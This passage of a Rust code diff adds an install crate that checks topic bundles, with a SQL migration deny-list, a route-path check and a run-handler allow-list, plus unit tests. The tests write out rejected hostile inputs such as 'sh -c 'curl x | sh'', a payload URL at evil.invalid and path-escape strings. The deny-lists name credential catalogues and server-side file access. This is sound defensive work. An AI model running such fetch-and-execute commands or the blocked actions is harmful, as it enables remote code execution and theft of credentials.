TopicStatus::Open + && request.topic.metric.family == MetricFamily::Custom + && !request.registered_custom.iter().any(|c| c == &custom_id) + { + return Err(InstallError::CustomIdNotRegistered { + custom_id, + registered: request.registered_custom.clone(), + }); + } + Ok(ExecutorBinding { + handler: handler.as_str().to_owned(), + runner_id, + custom_id, + pack_digest: doc_binding.map(|b| b.pack.digest), + vms_per_submission: VMS_PER_SUBMISSION, + submission_format_digest: plan.submission_format_digest.clone(), + scoring_digest: plan.scoring_digest.clone(), + }) +} + +/// Check every migration of a section against the deny-list. +fn check_all_migrations( + plan: &SectionPlan, + topic_id: &str, +) -> Result)>, InstallError> { + if plan.migrations.len() > MAX_MIGRATIONS { + return Err(InstallError::TooManyMigrations { + count: plan.migrations.len(), + }); + } + let mut out = Vec::with_capacity(plan.migrations.len()); + for m in &plan.migrations { + out.push((m.name.clone(), check_migration(&m.sql, topic_id)?)); + } + Ok(out) +} + +/// Map a store failure. +fn map_store(e: &StoreError) -> InstallError { + InstallError::Store(e.to_string()) +} + +/// Read a topic's newest install row. +/// +/// # Errors +/// +/// [`InstallError::Db`]. +pub async fn latest_install( + pool: &PgPool, + topic_id: &str, +) -> Result, InstallError> { + #[allow(clippy::type_complexity)] + let row: Option<( + i64, + String, + String, + String, + String, + Option, + serde_json::Value, + serde_json::Value, + serde_json::Value, + String, + )> = sqlx::query_as( + "SELECT id, topic_id, bundle_digest, environment, state, rules_version, rule_ids, \ + migrations, binding, detail \ + FROM proof_topic_install WHERE topic_id = $1 ORDER BY id DESC LIMIT 1", + ) + .bind(topic_id) + .fetch_optional(pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + let Some(( + id, + topic_id, + bundle_digest, + environment, + state, + rules_version, + rule_ids, + migrations, + binding, + detail, + )) = row + else { + return Ok(None); + }; + Ok(Some(InstallRow { + id, + topic_id, + bundle_digest, + environment, + state, + rules_version: rules_version.and_then(|v| u32::try_from(v).ok()), + rule_ids: strings(&rule_ids), + migrations: strings(&migrations), + binding, + detail, + })) +} + +/// A JSON array of strings, as the journal stores it. +fn strings(value: &serde_json::Value) -> Vec { + value + .as_array() + .map(|a| { + a.iter() + .filter_map(|x| x.as_str().map(str::to_owned)) + .collect() + }) + .unwrap_or_default() +} + +/// Every route a topic registered, for the dynamic mux. +/// +/// A stored path is **relative**, so the caller owns the prefix and a topic +/// can never claim a route outside it. +/// +/// # Errors +/// +/// [`InstallError::Db`]. +pub async fn topic_routes(pool: &PgPool, topic_id: &str) -> Result, InstallError> { + let rows: Vec<(String, String, String)> = sqlx::query_as( + "SELECT path, method, summary FROM proof_topic_api \ + WHERE topic_id = $1 ORDER BY path, method", + ) + .bind(topic_id) + .fetch_all(pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + Ok(rows + .into_iter() + .map(|(path, method, summary)| ApiRoute { + path, + method, + summary, + }) + .collect()) +} + +/// The install journal, newest first: `(topic, environment, state, digest)`. +/// +/// # Errors +/// +/// [`InstallError::Db`]. +pub async fn install_history( + pool: &PgPool, + limit: i64, +) -> Result, InstallError> { + let rows: Vec<(String, String, String, String)> = sqlx::query_as( + "SELECT topic_id, environment, state, bundle_digest FROM proof_topic_install \ + ORDER BY id DESC LIMIT $1", + ) + .bind(limit.clamp(1, 500)) + .fetch_all(pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + Ok(rows) +} diff --git a/crates/proof-topic-install/src/lib.rs b/crates/proof-topic-install/src/lib.rs new file mode 100644 index 000000000..6086de3d6 --- /dev/null +++ b/crates/proof-topic-install/src/lib.rs @@ -0,0 +1,187 @@ +//! Proof **topic install executor**: applying a bundle's RLM section. +//! +//! `proof-admin topic install` is the trigger; this crate is the work. A +//! bundle carries the signed [`TopicDocument`](proof_task::TopicDocument) +//! plus an **RLM section** that owns everything topic-specific — its SQL +//! migrations, the APIs it exposes, its anti-cheat rules, its submission +//! format, its scoring, and the run handler it wants bound. +//! +//! [`proof_topic_bundle`] carries that section **verbatim and opaque**: it +//! checks the shape and hands the bytes over, so no topic behavior is +//! compiled into a binary. This crate is the other half of that boundary — it +//! is the *consumer* that applies the parts an install knows how to apply, +//! and it does so under two closed gates: +//! +//! | Gate | What it refuses | +//! |------|-----------------| +//! | [`sql_guard`] | a migration that names a `proof_*` object, a role, the sqlx bookkeeping table, or any object outside the topic's own namespace; `DROP DATABASE` / `SCHEMA` / `ROLE`; privilege changes; server-side file access; `SECURITY DEFINER` | +//! | [`handler`] | a handler that is not an allow-listed run backend — never a path, a URL, or a command line | +//! +//! Both gates run **before** anything is applied, and both refuse on doubt. +//! +//! # Where the pieces live +//! +//! - [`section`] reads the RLM section's parts strictly, and carries the rest. +//! - [`install`] is the engine: migrations, routes, rules, binding, journal. +//! - [`sql_guard`] is the migration deny-list. +//! - [`handler`] is the run-backend allow-list. +//! +//! # What this crate does not do +//! +//! It does not publish a document (the operator's bearer does that), does not +//! seal a baseline (the operator does, from the RLM's measurement), does not +//! move a topic's status, and does not decide what a rule, a metric, a task, +//! or a scoring function *means*. It records the executor binding so an audit +//! can see what a topic was installed with; the signed document stays the one +//! source of truth the scoring path reads. + +#![forbid(unsafe_code)] +#![allow( + clippy::missing_errors_doc, + clippy::module_name_repetitions, + clippy::must_use_candidate, + clippy::doc_markdown +)] + +pub mod handler; +pub mod install; +pub mod section; +pub mod sql_guard; + +pub use handler::{bound_runner, check_handler, resolve_handler, Handler, HandlerError}; +pub use install::{ + install_history, latest_install, topic_routes, ExecutorBinding, InstallReport, InstallRequest, + InstallRow, InstallState, Installer, SetupSummary, VMS_PER_SUBMISSION, +}; +pub use section::{ + is_api_method, is_relative_api_path, read_section, ApiRoute, Migration, SectionPlan, MAX_APIS, + MAX_MIGRATIONS, MAX_MIGRATION_SQL_BYTES, READ_KEYS, +}; +pub use sql_guard::{ + blank_statements, check_migration, check_statement, is_topic_scoped, split_statements, + Statement, DENIED_DROP_KINDS, DENIED_FUNCTIONS, DENIED_OBJECTS, DENIED_VERBS, OWNED_TABLES, + OWNED_TABLE_PREFIX, +}; + +/// Why an install refused or failed. +#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] +pub enum InstallError { + /// A migration statement reached outside the topic's namespace. + #[error("migration statement {ordinal} denied ({what}): {why}\n statement: {statement}")] + MigrationDenied { + /// 1-based position in the migration's statement list. + ordinal: usize, + /// The statement, shortened. + statement: String, + /// The token or construct that was refused. + what: String, + /// Why it is refused. + why: String, + }, + /// A migration was checked and allowed, then the database refused it. + #[error("migration {name:?} failed at statement {ordinal}: {detail}")] + MigrationFailed { + /// Migration name from the bundle. + name: String, + /// Statement ordinal, or 0 when the transaction itself failed. + ordinal: usize, + /// What the database said. + detail: String, + }, + /// The bundle carries more migrations than an install applies. + #[error("bundle carries {count} migrations, at most {MAX_MIGRATIONS} are applied")] + TooManyMigrations { + /// How many it carried. + count: usize, + }, + /// A handler outside the allow-list. + #[error("handler refused: {0}")] + HandlerNotAllowed(String), + /// The signed document's own binding is malformed. + #[error("topic binding: {0}")] + Binding(String), + /// An open custom topic whose id this host does not register. + #[error( + "the signed document is an open custom topic whose metric.custom_id {custom_id:?} is not \ + registered on this host (registered: {registered:?}); an unregistered id answers 503, so \ + the install refuses rather than publishing a topic that cannot score" + )] + CustomIdNotRegistered { + /// The id the document names. + custom_id: String, + /// The ids this host registers. + registered: Vec, + }, + /// A part of the RLM section is malformed or carries an unknown key. + #[error("rlm.{part}: {why}")] + Section { + /// Which part (`migrations[0]`, `apis`, `rules`, …). + part: String, + /// What is wrong. + why: String, + }, + /// The rule vector was refused by the shared shape check. + #[error("rules: {0}")] + Rules(String), + /// The rule store refused. + #[error("store: {0}")] + Store(String), + /// The database refused. + #[error("db: {0}")] + Db(String), +} + +#[cfg(test)] +mod tests { + use super::*; + + /// The pins this crate exists to hold, asserted where a future edit + /// would have to see them. + #[test] + fn the_vms_per_submission_pin_is_one() { + assert_eq!(VMS_PER_SUBMISSION, 1); + let binding = ExecutorBinding { + handler: Handler::VmBacked.as_str().to_owned(), + runner_id: None, + custom_id: "c".into(), + pack_digest: None, + vms_per_submission: VMS_PER_SUBMISSION, + submission_format_digest: None, + scoring_digest: None, + }; + let json = serde_json::to_value(&binding).expect("json"); + assert_eq!(json["vms_per_submission"], 1); + } + + #[test] + fn every_owned_proof_table_is_denied_by_name() { + // The deny-list is enforced by prefix, so a new proof_* table is + // protected automatically; this asserts the readable list keeps up + // with the migrations, so a refusal can name the object. + for table in OWNED_TABLES { + assert!(table.starts_with(OWNED_TABLE_PREFIX), "{table}"); + } + assert!(OWNED_TABLES.contains(&"proof_topic_version")); + assert!(OWNED_TABLES.contains(&"proof_rule_version")); + assert!(OWNED_TABLES.contains(&"proof_topic_install")); + } + + #[test] + fn error_messages_name_the_step_and_stay_actionable() { + let denied = InstallError::MigrationDenied { + ordinal: 2, + statement: "DROP TABLE proof_rule_version".into(), + what: "proof_rule_version".into(), + why: "owned".into(), + }; + let text = denied.to_string(); + assert!(text.contains("statement 2"), "{text}"); + assert!(text.contains("proof_rule_version"), "{text}"); + + let custom = InstallError::CustomIdNotRegistered { + custom_id: "metric".into(), + registered: vec!["other".into()], + }; + assert!(custom.to_string().contains("503"), "{custom}"); + } +} diff --git a/crates/proof-topic-install/src/section.rs b/crates/proof-topic-install/src/section.rs new file mode 100644 index 000000000..e005068f8 --- /dev/null +++ b/crates/proof-topic-install/src/section.rs @@ -0,0 +1,619 @@ +//! Reading the RLM section: the parts an install applies, and nothing else. +//! +//! The bundle carries its `rlm` section **verbatim** and opaque +//! ([`proof_topic_bundle::RlmSection`]): the bundle crate checks the shape +//! and hands the bytes over, so nothing about a topic is compiled in. +//! +//! The install is the consumer. To *apply* the section it has to read the +//! parts it knows how to apply, and that is what this module does — strictly, +//! and only for the parts named here: +//! +//! | Part | What the install does with it | +//! |------|-------------------------------| +//! | `migrations` | shape-checked, then executed under the SQL deny-list ([`crate::sql_guard`]) | +//! | `apis` | recorded as topic-scoped routes ([`crate::install`]) | +//! | `rules` | installed as the topic's first rule version ([`crate::install`]) | +//! | `submission_format` | shape-checked and recorded; never interpreted | +//! | `scoring` | shape-checked and recorded; never interpreted | +//! | `handler` | allow-listed ([`crate::handler`]) | +//! +//! # Strictness, and why it is per-part +//! +//! An **unknown key inside a part this module reads** is refused. A part is +//! a step list: a `{"name": …, "sq": …}` migration whose `sql` this build +//! cannot see is a step nothing performs, and silently skipping it would +//! install a topic that is not the one the operator signed off. Refusing +//! costs an operator one edit. +//! +//! A **part this module has never heard of** is carried, not refused: that is +//! the bundle's own rule (`RlmSection`), and it is the whole point of the +//! boundary — a future part must not need a code change here to travel. Only +//! the parts listed above are read; the rest goes into the install record as +//! the RLM's business. +//! +//! Nothing here decides what a rule, a migration, an API, a submission +//! format, or a scoring function *means*. `submission_format` and `scoring` +//! are recorded as canonical JSON digests so an audit can prove which ones a +//! topic was installed with, and are otherwise untouched. + +use proof_canon::is_custom_id; +use proof_task::ChecklistRule; +use serde_json::Value; +use sha2::{Digest, Sha256}; + +use crate::handler::{check_handler, Handler}; +use crate::InstallError; + +/// Keys this module reads out of the RLM section. +pub const READ_KEYS: [&str; 6] = [ + "apis", + "handler", + "migrations", + "rules", + "scoring", + "submission_format", +]; + +/// Longest one migration's SQL may be, in bytes. +pub const MAX_MIGRATION_SQL_BYTES: usize = 256 * 1024; + +/// Most migrations one install may apply. +pub const MAX_MIGRATIONS: usize = 64; + +/// Most routes one topic may register. +pub const MAX_APIS: usize = 64; + +/// Longest route summary, in characters. +pub const MAX_API_SUMMARY_CHARS: usize = 256; + +/// One SQL migration the topic's install applies. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Migration { + /// Operator-facing name, an id (`[a-z0-9][a-z0-9_-]{1,63}`). + pub name: String, + /// The SQL. Applied under the deny-list; never logged in full. + pub sql: String, +} + +/// One route the topic registers for itself. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ApiRoute { + /// Path relative to the topic's own prefix: no leading `/`, no `..`. + pub path: String, + /// Upper-cased HTTP method, or `*`. + pub method: String, + /// What the route does, in the topic's words. + pub summary: String, +} + +/// The parts of an RLM section an install applies. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub struct SectionPlan { + /// Migrations, in bundle order. + pub migrations: Vec, + /// Routes the topic claims. + pub apis: Vec, + /// Rule vector the install lands as version 1. + pub rules: Vec, + /// Canonical-JSON digest of `submission_format`, when the bundle carries one. + pub submission_format_digest: Option, + /// Canonical-JSON digest of `scoring`, when the bundle carries one. + pub scoring_digest: Option, + /// Allow-listed handler the section named, when it named one. + pub handler: Option, + /// Part names the section carried that this module does not read, sorted. + /// They travel into the install record as the RLM's business. + pub carried_unknown: Vec, +} + +impl SectionPlan { + /// Whether the section asks for nothing this install applies. + #[must_use] + pub fn is_empty(&self) -> bool { + self.migrations.is_empty() + && self.apis.is_empty() + && self.rules.is_empty() + && self.submission_format_digest.is_none() + && self.scoring_digest.is_none() + && self.handler.is_none() + } +} + +/// Refuse with the part and the reason. +fn bad(part: &str, why: impl Into) -> InstallError { + InstallError::Section { + part: part.to_owned(), + why: why.into(), + } +} + +/// A JSON value's kind, for an error that says what arrived. +fn kind(v: &Value) -> &'static str { + match v { + Value::Null => "null", + Value::Bool(_) => "a boolean", + Value::Number(_) => "a number", + Value::String(_) => "a string", + Value::Array(_) => "an array", + Value::Object(_) => "an object", + } +} + +/// One field of an object, refusing an unknown key by name. +fn take<'a>( + obj: &'a serde_json::Map, + key: &str, + part: &str, + allowed: &[&str], +) -> Result, InstallError> { + for k in obj.keys() { + if !allowed.contains(&k.as_str()) { + return Err(bad( + part, + format!( + "{k:?} is not a key this build reads here (it reads {}); a field the install \ + cannot apply is a step nothing performs, so it is refused rather than \ + skipped", + allowed.join(", ") + ), + )); + } + } + Ok(obj.get(key)) +} + +/// A required string field. +fn string_field( + obj: &serde_json::Map, + key: &str, + part: &str, +) -> Result { + match obj.get(key) { + Some(Value::String(s)) => Ok(s.clone()), + Some(other) => Err(bad( + part, + format!("{key} must be a string, got {}", kind(other)), + )), + None => Err(bad(part, format!("{key} is required"))), + } +} + +/// Read a section's migrations. +/// +/// # Errors +/// +/// [`InstallError::Section`] naming the migration ordinal and the problem. +pub fn read_migrations(value: &Value) -> Result, InstallError> { + let Some(items) = value.as_array() else { + return Err(bad( + "migrations", + format!("must be an array, got {}", kind(value)), + )); + }; + if items.len() > MAX_MIGRATIONS { + return Err(bad( + "migrations", + format!( + "carries {} migrations, at most {MAX_MIGRATIONS} are applied", + items.len() + ), + )); + } + let mut out = Vec::with_capacity(items.len()); + for (i, item) in items.iter().enumerate() { + let part = format!("migrations[{i}]"); + let Some(obj) = item.as_object() else { + return Err(bad(&part, format!("must be an object, got {}", kind(item)))); + }; + take(obj, "", &part, &["name", "sql"])?; + let name = string_field(obj, "name", &part)?; + if !is_custom_id(&name) { + return Err(bad( + &part, + format!("name {name:?} is not an id ([a-z0-9][a-z0-9_-]{{1,63}})"), + )); + } + let sql = string_field(obj, "sql", &part)?; + if sql.trim().is_empty() { + return Err(bad(&part, "sql is empty; remove the migration instead")); + } + if sql.len() > MAX_MIGRATION_SQL_BYTES { + return Err(bad( + &part, + format!( + "sql is {} bytes, at most {MAX_MIGRATION_SQL_BYTES} are applied", + sql.len() + ), + )); + } + out.push(Migration { name, sql }); + } + Ok(out) +} + +/// Read a section's routes. +/// +/// # Errors +/// +/// [`InstallError::Section`] naming the route ordinal and the problem. +pub fn read_apis(value: &Value) -> Result, InstallError> { + let Some(items) = value.as_array() else { + return Err(bad( + "apis", + format!("must be an array, got {}", kind(value)), + )); + }; + if items.len() > MAX_APIS { + return Err(bad( + "apis", + format!( + "carries {} routes, at most {MAX_APIS} may be registered", + items.len() + ), + )); + } + let mut out: Vec = Vec::with_capacity(items.len()); + for (i, item) in items.iter().enumerate() { + let part = format!("apis[{i}]"); + let Some(obj) = item.as_object() else { + return Err(bad(&part, format!("must be an object, got {}", kind(item)))); + }; + take(obj, "", &part, &["path", "method", "summary"])?; + let path = string_field(obj, "path", &part)?; + if !is_relative_api_path(&path) { + return Err(bad( + &part, + format!( + "path {path:?} must be a relative path of plain segments (no leading '/', \ + no '..', no empty segment): a topic's routes live under its own prefix, and \ + the prefix is the control plane's to set" + ), + )); + } + let method = string_field(obj, "method", &part)? + .trim() + .to_ascii_uppercase(); + if !is_api_method(&method) { + return Err(bad( + &part, + format!("method {method:?} must be one of GET, POST, PUT, PATCH, DELETE, *"), + )); + } + let summary = match obj.get("summary") { + None | Some(Value::Null) => String::new(), + Some(Value::String(s)) => s.trim().to_owned(), + Some(other) => { + return Err(bad( + &part, + format!("summary must be a string, got {}", kind(other)), + )) + } + }; + if summary.chars().count() > MAX_API_SUMMARY_CHARS { + return Err(bad( + &part, + format!("summary is longer than {MAX_API_SUMMARY_CHARS} chars"), + )); + } + out.push(ApiRoute { + path, + method, + summary, + }); + } + Ok(out) +} + +/// A relative path of plain segments: no leading `/`, no `.` / `..`, no empty +/// segment, no control characters, no backslash. +/// +/// Mirrors `proof_experiment`'s pack-path rule, for the same reason: the +/// value becomes part of a route the control plane serves, so a `..` or a +/// leading slash would let a topic step outside the prefix it was given. +#[must_use] +pub fn is_relative_api_path(p: &str) -> bool { + let p = p.trim(); + !p.is_empty() + && p.len() <= 512 + && !p.starts_with('/') + && !p.ends_with('/') + && !p + .chars() + .any(|c| c.is_control() || c == '\\' || c == '?' || c == '#') + && p.split('/') + .all(|seg| !seg.is_empty() && seg != "." && seg != "..") + && p.split('/').all(|seg| { + seg.chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '~' | '-')) + }) +} + +/// A method a topic may claim. +#[must_use] +pub fn is_api_method(m: &str) -> bool { + matches!(m, "GET" | "POST" | "PUT" | "PATCH" | "DELETE" | "*") +} + +/// Read a section's rule vector. +/// +/// # Errors +/// +/// [`InstallError::Section`] naming the rule ordinal and the problem. The +/// shared shape check ([`proof_canon::validate_rules`]) runs too, so a vector +/// the scoring path would refuse cannot be installed. +pub fn read_rules(value: &Value) -> Result, InstallError> { + let Some(items) = value.as_array() else { + return Err(bad( + "rules", + format!("must be an array, got {}", kind(value)), + )); + }; + let mut out = Vec::with_capacity(items.len()); + for (i, item) in items.iter().enumerate() { + let part = format!("rules[{i}]"); + let Some(obj) = item.as_object() else { + return Err(bad(&part, format!("must be an object, got {}", kind(item)))); + }; + take(obj, "", &part, &["id", "text"])?; + let id = string_field(obj, "id", &part)?; + let text = string_field(obj, "text", &part)?; + out.push(ChecklistRule { id, text }); + } + // The same shape check the scoring path runs, so a vector it would refuse + // cannot be installed. `ShapeError` carries its own fields rather than a + // `Display`, so the message is built from them. + proof_canon::validate_rules(&out) + .map_err(|e| bad("rules", format!("{}: {}", e.field, e.why)))?; + Ok(out) +} + +/// Canonical-JSON digest of a part this module records but does not interpret. +/// +/// Canonical, so the digest is stable across key order and formatting: an +/// audit can compare it to the bundle the operator signed off. +fn digest_of(value: &Value) -> String { + let canonical = proof_canon::canonical_json(value); + let mut hasher = Sha256::new(); + hasher.update(canonical.as_bytes()); + format!("sha256:{}", hex_encode(&hasher.finalize())) +} + +/// Lower-case hex. +fn hex_encode(bytes: &[u8]) -> String { + const HEX: &[u8; 16] = b"0123456789abcdef"; + let mut out = String::with_capacity(bytes.len() * 2); + for b in bytes { + out.push(HEX[(b >> 4) as usize] as char); + out.push(HEX[(b & 0x0f) as usize] as char); + } + out +} + +/// Read an RLM section's raw text into the parts an install applies. +/// +/// # Errors +/// +/// [`InstallError::Section`] for a part that is malformed, carries a key this +/// build does not read, or names a handler outside the allow-list. +pub fn read_section(raw: &str) -> Result { + let parsed: serde_json::Map = + serde_json::from_str(raw).map_err(|e| InstallError::Section { + part: "rlm".to_owned(), + why: format!("parse: {e}"), + })?; + let mut plan = SectionPlan::default(); + for (key, value) in &parsed { + match key.as_str() { + "migrations" => plan.migrations = read_migrations(value)?, + "apis" => plan.apis = read_apis(value)?, + "rules" => plan.rules = read_rules(value)?, + "handler" => { + let Some(name) = value.as_str() else { + return Err(bad( + "handler", + format!("must be a string, got {}", kind(value)), + )); + }; + plan.handler = Some(check_handler(name)?); + } + "submission_format" => { + if !value.is_object() { + return Err(bad( + "submission_format", + format!("must be an object, got {}", kind(value)), + )); + } + plan.submission_format_digest = Some(digest_of(value)); + } + "scoring" => { + if !value.is_object() { + return Err(bad( + "scoring", + format!("must be an object, got {}", kind(value)), + )); + } + plan.scoring_digest = Some(digest_of(value)); + } + other => plan.carried_unknown.push(other.to_owned()), + } + } + plan.carried_unknown.sort(); + Ok(plan) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn a_full_section_reads_every_part_this_install_applies() { + let plan = read_section( + r#"{"rules": [{"id": "no_short_circuit", "text": "run the task"}], + "migrations": [{"name": "0001_scratch", "sql": "CREATE TABLE tb4_scratch (id TEXT)"}], + "apis": [{"path": "status", "method": "get", "summary": "topic status"}], + "submission_format": {"kind": "tar", "max_bytes": 5242880}, + "scoring": {"primary": "success_rate"}, + "handler": "harbor"}"#, + ) + .expect("reads"); + assert_eq!(plan.rules.len(), 1); + assert_eq!(plan.rules[0].id, "no_short_circuit"); + assert_eq!(plan.migrations.len(), 1); + assert_eq!(plan.migrations[0].name, "0001_scratch"); + assert_eq!(plan.apis[0].method, "GET", "methods are upper-cased"); + assert_eq!(plan.apis[0].path, "status"); + assert_eq!(plan.handler, Some(Handler::Harbor)); + assert!(plan + .submission_format_digest + .as_deref() + .is_some_and(|d| d.starts_with("sha256:") && d.len() == 71)); + assert!(plan.scoring_digest.is_some()); + assert!(plan.carried_unknown.is_empty()); + assert!(!plan.is_empty()); + } + + #[test] + fn an_empty_section_asks_for_nothing() { + let plan = read_section("{}").expect("reads"); + assert!(plan.is_empty()); + } + + /// A part this module does not read travels; a key inside a part it does + /// read is refused, because that is a step nothing would perform. + #[test] + fn unknown_parts_travel_but_unknown_keys_inside_a_read_part_are_refused() { + let plan = read_section(r#"{"some_future_metric": {"weight": 0.7}}"#).expect("reads"); + assert_eq!(plan.carried_unknown, ["some_future_metric"]); + assert!(plan.is_empty()); + + let err = read_section(r#"{"migrations": [{"name": "m", "sq": "SELECT 1"}]}"#) + .expect_err("a typo'd key is refused"); + let InstallError::Section { part, why } = err else { + panic!("expected Section"); + }; + assert_eq!(part, "migrations[0]"); + assert!(why.contains("\"sq\""), "{why}"); + assert!(why.contains("nothing performs"), "{why}"); + } + + #[test] + fn handler_names_are_allow_listed_not_arbitrary() { + assert_eq!( + read_section(r#"{"handler": "vm_backed"}"#) + .expect("ok") + .handler, + Some(Handler::VmBacked) + ); + assert_eq!( + read_section(r#"{"handler": "harbor_trials"}"#) + .expect("ok") + .handler, + Some(Handler::Harbor) + ); + for bad in [ + "/bin/sh", + "sh -c 'curl x | sh'", + "https://evil.invalid/payload", + "arbitrary_binary", + "", + ] { + let err = read_section(&format!(r#"{{"handler": "{bad}"}}"#)).expect_err(bad); + assert!( + matches!(err, InstallError::HandlerNotAllowed(_)), + "{bad:?}: {err:?}" + ); + } + } + + #[test] + fn a_route_cannot_escape_the_topics_prefix() { + for bad in [ + "/v1/admin/proof/topics", + "../admin", + "a/../../b", + "a//b", + "a/./b", + "a\\b", + "", + "a?x=1", + ] { + let err = read_section(&format!( + r#"{{"apis": [{{"path": "{bad}", "method": "GET"}}]}}"# + )) + .expect_err(bad); + assert!( + matches!(err, InstallError::Section { .. }), + "{bad:?}: {err:?}" + ); + } + for good in ["status", "v1/runs", "runs/by-id", "a_b/c-d.e~f"] { + read_section(&format!( + r#"{{"apis": [{{"path": "{good}", "method": "GET"}}]}}"# + )) + .unwrap_or_else(|e| panic!("{good:?} must be relative and legal: {e}")); + } + } + + #[test] + fn a_rule_vector_the_scoring_path_would_refuse_is_refused_here() { + let err = + read_section(r#"{"rules": [{"id": "Bad Id", "text": "x"}]}"#).expect_err("bad rule id"); + assert!(matches!(err, InstallError::Section { .. }), "{err:?}"); + let err = + read_section(r#"{"rules": [{"id": "a_b", "text": ""}]}"#).expect_err("empty text"); + assert!(matches!(err, InstallError::Section { .. }), "{err:?}"); + read_section(r#"{"rules": [{"id": "a_b", "text": "ok"}]}"#).expect("legal vector"); + } + + #[test] + fn bounds_are_enforced_on_every_read_part() { + let many = json!({ + "migrations": (0..=MAX_MIGRATIONS) + .map(|i| json!({"name": format!("m{i}"), "sql": "SELECT 1"})) + .collect::>() + }); + assert!(read_section(&many.to_string()).is_err()); + let many = json!({ + "apis": (0..=MAX_APIS) + .map(|i| json!({"path": format!("p{i}"), "method": "GET"})) + .collect::>() + }); + assert!(read_section(&many.to_string()).is_err()); + let huge = + json!({"migrations": [{"name": "m", "sql": "x".repeat(MAX_MIGRATION_SQL_BYTES + 1)}]}); + assert!(read_section(&huge.to_string()).is_err()); + } + + /// The digests are stable across key order and formatting, because they + /// are over canonical JSON — an audit can compare them to the bundle. + #[test] + fn recorded_digests_are_canonical_and_stable() { + let a = + read_section(r#"{"submission_format": {"kind": "tar", "max_bytes": 5}}"#).expect("a"); + let b = + read_section(r#"{"submission_format": {"max_bytes": 5, "kind": "tar"}}"#).expect("b"); + assert_eq!(a.submission_format_digest, b.submission_format_digest); + let c = + read_section(r#"{"submission_format": {"kind": "tar", "max_bytes": 6}}"#).expect("c"); + assert_ne!(a.submission_format_digest, c.submission_format_digest); + } + + #[test] + fn a_part_of_the_wrong_kind_is_refused_not_coerced() { + for (raw, part) in [ + (r#"{"rules": "nope"}"#, "rules"), + (r#"{"migrations": 3}"#, "migrations"), + (r#"{"apis": {}}"#, "apis"), + (r#"{"submission_format": []}"#, "submission_format"), + (r#"{"scoring": "nope"}"#, "scoring"), + (r#"{"handler": 7}"#, "handler"), + ] { + let err = read_section(raw).expect_err(part); + let InstallError::Section { part: got, .. } = err else { + panic!("{part}: expected Section, got {err:?}"); + }; + assert_eq!(got, part, "{raw}"); + } + } +} diff --git a/crates/proof-topic-install/src/sql_guard.rs b/crates/proof-topic-install/src/sql_guard.rs new file mode 100644 index 000000000..7cd48422a --- /dev/null +++ b/crates/proof-topic-install/src/sql_guard.rs @@ -0,0 +1,719 @@ +//! What a topic migration may and may not touch. +//! +//! A topic's RLM install applies SQL into the **shared challenge database**. +//! Every topic lives in that one database under a `topic_id` discriminant, so +//! a migration that reached outside its own namespace would not be a bug in +//! one topic — it could rewrite another topic's rules, forge a promotion, or +//! drop the tables the whole subnet's scoring reads. +//! +//! This module is the gate in front of that. It is a **deny-list plus a +//! namespace check**, applied to every statement before the first one runs: +//! +//! - **Deny-listed objects**: every `proof_*` object this repository owns, the +//! sqlx bookkeeping table, the roles, and the system catalogues. A +//! migration may not name any of them, whatever the verb. +//! - **Deny-listed statements**: `DROP DATABASE` / `SCHEMA` / `ROLE` / `OWNED` +//! / `EXTENSION`, privilege changes (`GRANT` / `REVOKE`), session and +//! transaction control (`SET` / `RESET` / `BEGIN` / `COMMIT`), `COPY`, +//! `VACUUM` / `CLUSTER` / `REINDEX`, `SECURITY DEFINER` functions, and +//! server-side file access (`pg_read_file`, `lo_import`, …). +//! - **Namespace**: every table a statement creates, writes, or reads must be +//! inside the topic's own namespace (`{topic_id}_*`, `topic_*`, or +//! `{topic_id}.…`). Without this a topic could claim a generic name and +//! collide with the next topic's install, or read a sibling topic's rows. +//! +//! # What this is not +//! +//! This is **not** a SQL parser. It is a conservative scanner over statement +//! text with strings, comments, and dollar-quoted bodies blanked first, so a +//! denied word inside a literal is not a false refusal and a denied statement +//! cannot be smuggled in by quoting. Because it is conservative it refuses on +//! *doubt*: an unrecognised shape is refused, and a legitimate migration that +//! the scanner does not recognise becomes a reviewed edit to this module +//! rather than a runtime surprise. +//! +//! Two limitations are worth stating plainly, because a reader should not +//! assume more than this buys: +//! +//! 1. A table function (`generate_series(…)`) is skipped as a function call +//! rather than treated as a table, and a comma-join (`FROM a, b`) is only +//! checked for its first table. A migration could therefore read a shared +//! non-`proof_*` table it named indirectly. It still cannot read a +//! `proof_*` table (denied by name), which is what the scoring path owns. +//! 2. A dynamic statement built at runtime by a `plpgsql` body is scanned as +//! text inside its dollar quotes and cannot be analysed. A migration that +//! needs a function body is reviewed by hand. +//! +//! Both are why an install is an **operator** action against an +//! operator-published bundle, not a miner-facing path. + +use std::collections::BTreeSet; + +use crate::InstallError; + +/// Prefix every object this repository owns carries. +/// +/// A *deny* prefix: a topic migration naming any `proof_*` object is refused, +/// so a new `proof_*` table added by a later migration is protected without +/// editing any list here. +pub const OWNED_TABLE_PREFIX: &str = "proof_"; + +/// Objects this repository owns, by name, so a refusal can name the object. +/// +/// The prefix check above is the enforcement; this list is what makes the +/// refusal *legible*, and a test asserts it covers every `proof_*` table the +/// migrations create. +pub const OWNED_TABLES: [&str; 9] = [ + "proof_topic_version", + "proof_rule_version", + "proof_checklist", + "proof_lifecycle_event", + "proof_baseline_measurement", + "proof_artefact", + "proof_promotion_event", + "proof_topic_alias", + "proof_topic_install", +]; + +/// Names a topic migration may never name, whatever the verb. +pub const DENIED_OBJECTS: [&str; 8] = [ + "_sqlx_migrations", + "base_app", + "pg_roles", + "pg_authid", + "information_schema", + "pg_catalog", + "pg_proc", + "pg_shadow", +]; + +/// Statement verbs a topic migration may not use, with the reason. +/// +/// Matched as whole words against the blanked statement, so `granted` is not +/// a `GRANT`. The first match refuses. +pub const DENIED_VERBS: [(&str, &str); 13] = [ + ("GRANT", "a topic migration may not change privileges"), + ("REVOKE", "a topic migration may not change privileges"), + ( + "SECURITY", + "a topic migration may not create a SECURITY DEFINER function", + ), + ( + "COPY", + "a topic migration may not use COPY (server-side file access)", + ), + ("VACUUM", "a topic migration may not VACUUM"), + ("CLUSTER", "a topic migration may not CLUSTER"), + ("REINDEX", 